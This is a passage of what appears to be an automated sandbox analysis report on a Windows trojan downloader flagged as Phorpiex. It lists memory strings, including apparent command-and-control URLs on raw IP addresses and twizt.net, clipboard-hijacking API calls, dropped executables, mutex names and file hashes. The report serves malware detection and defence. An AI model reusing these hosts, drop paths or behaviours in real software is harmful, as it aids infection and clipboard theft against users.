Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/4
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/4#
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/5
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/6
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/_1
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/_2
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/_21hXd#
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/_2g
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/_2ih0d.
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/_3
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/_39h
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/_3Qh8d/
Source: winploravr.exe, winploravr.exe, 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 0000000E.00000000.1906559266.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 00000011.00000002.2008324273.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 00000011.00000000.1987852595.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, winploravr.exe.7.dr, sysbrapsvc.exe.0.dr, winploravr.exe0.7.dr, 3193211493.exe.2.dr, 1146722911.exe.2.dr	String found in binary or memory: http://91.202.233.141/
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1S4
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1xF;
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/2
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/2:
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/3
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/4
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/4e
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5G4
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5V
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5Y
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5e
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3860975696.0000000000692000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6.F;
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6P
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_1
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_11
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_11N:we
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_16
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_1K
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_2
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_2yk
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_3
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/_3yh
Source: sysbrapsvc.exe, 00000002.00000002.3866327336.0000000004780000.00000004.00000020.00020000.00000000.sdmp, 2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	String found in binary or memory: http://icanhazip.com/
Source: sysbrapsvc.exe, 00000002.00000002.3866327336.0000000004780000.00000004.00000020.00020000.00000000.sdmp, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	String found in binary or memory: http://icanhazip.com/.
Source: 3193211493.exe.2.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 3193211493.exe.2.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 330125677.exe, 0000000F.00000002.2003173720.00000000005B5000.00000004.00000020.00020000.00000000.sdmp, 330125677.exe, 0000000F.00000002.2003173720.000000000059D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/
Source: 330125677.exe, 330125677.exe, 0000000F.00000002.2003173720.000000000059D000.00000004.00000020.00020000.00000000.sdmp, 330125677.exe, 0000000F.00000000.1953132722.00000000006F2000.00000002.00000001.01000000.0000000E.sdmp, 330125677.exe, 0000000F.00000002.2003173720.000000000055E000.00000004.00000020.00020000.00000000.sdmp, 330125677.exe, 0000000F.00000002.2003454543.00000000006F2000.00000002.00000001.01000000.0000000E.sdmp, 330125677.exe, 0000000F.00000002.2003173720.0000000000586000.00000004.00000020.00020000.00000000.sdmp, 330125677.exe.2.dr	String found in binary or memory: http://twizt.net/ALLSTATA
Source: 330125677.exe, 0000000F.00000002.2003173720.0000000000586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/ALLSTATA7a
Source: 330125677.exe, 0000000F.00000002.2003173720.0000000000586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/ALLSTATAWaIG2
Source: 330125677.exe, 0000000F.00000002.2003173720.000000000055E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/ALLSTATAnt
Source: 330125677.exe, 0000000F.00000002.2003173720.0000000000586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/ALLSTATAo
Source: 330125677.exe, 0000000F.00000000.1953132722.00000000006F2000.00000002.00000001.01000000.0000000E.sdmp, 330125677.exe, 0000000F.00000002.2003454543.00000000006F2000.00000002.00000001.01000000.0000000E.sdmp, 330125677.exe.2.dr	String found in binary or memory: http://twizt.net/ALLSTATAopen%temp%%s
Source: 2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	String found in binary or memory: https://bitpay.com/buy-bitcoin/?crypto=BTC
Source: 2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	String found in binary or memory: https://cex.io/buy-bitcoins
Source: 2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	String found in binary or memory: https://invity.io/buy-crypto
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000003.1794455255.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000003.1794598121.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com405117-2476756634-1002LMEM
Source: 2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	String found in binary or memory: https://nexo.com/buy-crypto/bitcoin-btc
Source: 2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	String found in binary or memory: https://paybis.com/

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Code function: 0_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_004048A0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	0_2_004048A0
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	2_2_004048A0
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	4_2_004048A0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	5_2_004048A0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Code function: 0_2_00405910 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,

0_2_00405910

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

0_2_00405910

Spam, unwanted Advertisements and Ransom Demands

Yara detected Phorpiex

Source: Yara match	File source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, type: SAMPLE
Source: Yara match	File source: 5.0.3193211493.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.3193211493.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1395571963.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1558944525.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1416106928.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1544428131.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1665949097.0000000004781000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1416145697.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysbrapsvc.exe PID: 5588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysbrapsvc.exe PID: 768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3193211493.exe PID: 3640, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\sysbrapsvc.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3193211493.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Code function: 7_2_00DB1100 CryptImportKey,CreateFileW,GetFileSize,CreateFileMappingA,MapViewOfFile,CryptCreateHash,GetProcessHeap,RtlAllocateHeap,CryptHashData,CryptVerifySignatureA,memcpy,GetProcessHeap,HeapFree,UnmapViewOfFile,FindCloseChangeNotification,SetFilePointer,SetEndOfFile,CloseHandle,CryptDestroyKey,	7_2_00DB1100
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Code function: 7_2_00DB1020 memcpy,memcpy,CryptImportKey,CryptEncrypt,CryptDestroyKey,	7_2_00DB1020
Source: C:\Users\user\winploravr.exe	Code function: 9_2_002A1020 memcpy,memcpy,CryptImportKey,CryptEncrypt,CryptDestroyKey,	9_2_002A1020
Source: C:\Users\user\winploravr.exe	Code function: 9_2_002A1100 CryptImportKey,CreateFileW,GetFileSize,CreateFileMappingA,MapViewOfFile,CryptCreateHash,GetProcessHeap,HeapAlloc,CryptHashData,CryptVerifySignatureA,memcpy,GetProcessHeap,HeapFree,UnmapViewOfFile,CloseHandle,SetFilePointer,SetEndOfFile,CloseHandle,CryptDestroyKey,	9_2_002A1100
Source: C:\Windows\winploravr.exe	Code function: 14_2_000F1100 CryptImportKey,CreateFileW,GetFileSize,CreateFileMappingA,MapViewOfFile,CryptCreateHash,GetProcessHeap,HeapAlloc,CryptHashData,CryptVerifySignatureA,memcpy,GetProcessHeap,HeapFree,UnmapViewOfFile,CloseHandle,SetFilePointer,SetEndOfFile,CloseHandle,CryptDestroyKey,	14_2_000F1100
Source: C:\Windows\winploravr.exe	Code function: 14_2_000F1020 memcpy,memcpy,CryptImportKey,CryptEncrypt,CryptDestroyKey,	14_2_000F1020

Source: C:\Windows\sysbrapsvc.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040D950 NtQuerySystemTime,RtlTimeToSecondsSince1980,	0_2_0040D950
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040F589 NtQueryVirtualMemory,	0_2_0040F589
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_0040D950 NtQuerySystemTime,RtlTimeToSecondsSince1980,	2_2_0040D950
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_0040F589 NtQueryVirtualMemory,	2_2_0040F589
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040D950 NtQuerySystemTime,RtlTimeToSecondsSince1980,	4_2_0040D950
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040F589 NtQueryVirtualMemory,	4_2_0040F589
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040D950 NtQuerySystemTime,RtlTimeToSecondsSince1980,	5_2_0040D950
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040F589 NtQueryVirtualMemory,	5_2_0040F589

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	File created: C:\Windows\sysbrapsvc.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File created: C:\Windows\winploravr.exe			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00404090	0_2_00404090
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_004048A0	0_2_004048A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040F34C	0_2_0040F34C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00407FD0	0_2_00407FD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00407FF9	0_2_00407FF9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040A9B0	0_2_0040A9B0
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00404090	2_2_00404090
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_004048A0	2_2_004048A0
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_0040F34C	2_2_0040F34C
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00407FD0	2_2_00407FD0
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00407FF9	2_2_00407FF9
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_0040A9B0	2_2_0040A9B0
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00404090	4_2_00404090
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_004048A0	4_2_004048A0
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040F34C	4_2_0040F34C
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00407FD0	4_2_00407FD0
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00407FF9	4_2_00407FF9
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040A9B0	4_2_0040A9B0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00404090	5_2_00404090
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_004048A0	5_2_004048A0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040F34C	5_2_0040F34C
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00407FD0	5_2_00407FD0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00407FF9	5_2_00407FF9
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040A9B0	5_2_0040A9B0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1146722911.exe FB11B4E2D26812E26EA7428F3B0B9BB8A16814188250FA60697C7AEC40A49BD0
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1245832676.exe 8A169CF165F635ECB6C55CACECB2C202C5FC6EF5FA82EC9CDB7D4B0300F35293
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\2006625995.exe F63C124598C87BED71A1E5E6EC5A04E8AA2F18F94B21D690513C5490F7F85991
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\2303012543.exe 8A169CF165F635ECB6C55CACECB2C202C5FC6EF5FA82EC9CDB7D4B0300F35293

Source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@23/24@3/57

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Code function: 0_2_00406B50 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

0_2_00406B50

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Code function: 0_2_00407250 CoCreateInstance,

0_2_00407250

Source: C:\Windows\sysbrapsvc.exe

File created: C:\Users\user\tbtnds.dat

Jump to behavior

Source: C:\Windows\sysbrapsvc.exe	Mutant created: \Sessions\1\BaseNamedObjects\b7x663937xa
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Mutant created: \Sessions\1\BaseNamedObjects\4463464*
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Mutant created: \Sessions\1\BaseNamedObjects\xouauxuax

Source: C:\Windows\sysbrapsvc.exe

File created: C:\Users\user\AppData\Local\Temp\3193211493.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: xouauxuax	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: uxuax	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: winploravr.exe	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: %windir%	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: %s\%s	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: %userprofile%	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: %s\%s	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: UpdatesOverride	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: UpdatesOverride	7_2_00DB1840
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Command line argument: %s%s	7_2_00DB1840
Source: C:\Users\user\winploravr.exe	Command line argument: xouauxuax	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: uxuax	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: winploravr.exe	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: 46*	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: L6*	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: d6*	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: h6*	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: l6*	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: %windir%	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: %s\%s	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: %userprofile%	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: %s\%s	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: UpdatesOverride	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: UpdatesOverride	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: d6h6l6*	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: d6h6l6*	9_2_002A1840
Source: C:\Users\user\winploravr.exe	Command line argument: %s%s	9_2_002A1840
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Command line argument: 4463464*	10_2_00D72720
Source: C:\Windows\winploravr.exe	Command line argument: xouauxuax	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: uxuax	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: winploravr.exe	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: %windir%	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: %s\%s	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: %userprofile%	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: %s\%s	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: UpdatesOverride	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: UpdatesOverride	14_2_000F1840
Source: C:\Windows\winploravr.exe	Command line argument: %s%s	14_2_000F1840
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: 0"?	18_2_003F10A0
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: d"?	18_2_003F10A0
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: \#?	18_2_003F10A0
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: WinCfgMgr	18_2_003F10A0
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: \$?	18_2_003F10A0
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: (%?	18_2_003F10A0
